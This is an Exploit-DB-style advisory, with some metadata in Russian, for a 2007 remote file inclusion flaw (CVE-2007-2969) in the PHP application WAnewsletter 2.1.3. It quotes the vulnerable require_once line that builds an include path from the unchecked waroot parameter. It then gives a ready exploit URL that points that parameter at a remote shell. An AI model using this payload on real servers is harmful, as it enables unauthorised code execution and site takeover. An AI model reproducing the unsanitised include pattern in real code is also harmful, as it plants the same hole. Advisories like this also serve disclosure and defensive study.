Exploit wanewsletter 2.1.3 - Remote File Inclusion

[Exploiter]

EDB-ID

4000

Проверка EDB

1. Пройдено

Автор

MOGATIL

Тип уязвимости

WEBAPPS

Платформа

PHP

CVE

cve-2007-2969

Дата публикации

2007-05-28

======================= S==A==U==D==I ========================

WAnewsletter-2.1.3 (newsletter.php) RFI Vul

==============================================================

Found By : Mogatil , [email protected]

==============================================================

Script Site : http://script.emanual.ru/get?i=1053

==============================================================
File : /newsletter.php


require_once($waroot . 'start.php');

==============================================================

Thanx: cold zero . gawey Al Azary . crazy man . scorbion_22 .
the_muslim_sniper

==============================================================

Exploit :[Path]/newsletter/newsletter.php?waroot=shell

==============================================================

# milw0rm.com [2007-05-28]